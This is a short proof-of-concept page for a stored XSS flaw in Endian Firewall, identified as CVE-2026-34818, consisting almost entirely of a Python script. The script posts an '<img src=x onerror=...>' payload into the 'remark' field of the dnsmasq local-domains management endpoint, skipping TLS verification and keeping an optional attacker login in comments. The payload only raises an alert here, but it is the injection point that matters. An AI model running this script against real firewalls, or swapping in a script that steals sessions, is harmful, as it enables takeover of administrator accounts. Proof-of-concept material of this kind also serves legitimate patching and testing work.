CVE-2026-34818 Endian Firewall 存储型XSS漏洞

import requests # Target URL target_url = "https://<target-ip>/manage/dnsmasq/localdomains/" # Attacker's credentials session = requests.Session() # login_payload = {"username": "attacker", "password": "password"} # session.post("https://<target-ip>/login", data=login_payload) # Malicious payload to be stored xss_payload = '<img src=x onerror=alert("XSS")>' # Data to be sent to the vulnerable endpoint exploit_data = { "domain": "example.com", "remark": xss_payload # Injecting into the vulnerable parameter } try: # Sending the request to store the malicious script response = session.post(target_url, data=exploit_data, verify=False) if response.status_code == 200: print("[+] Payload sent successfully. Check the page to trigger XSS.") else: print(f"[-] Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")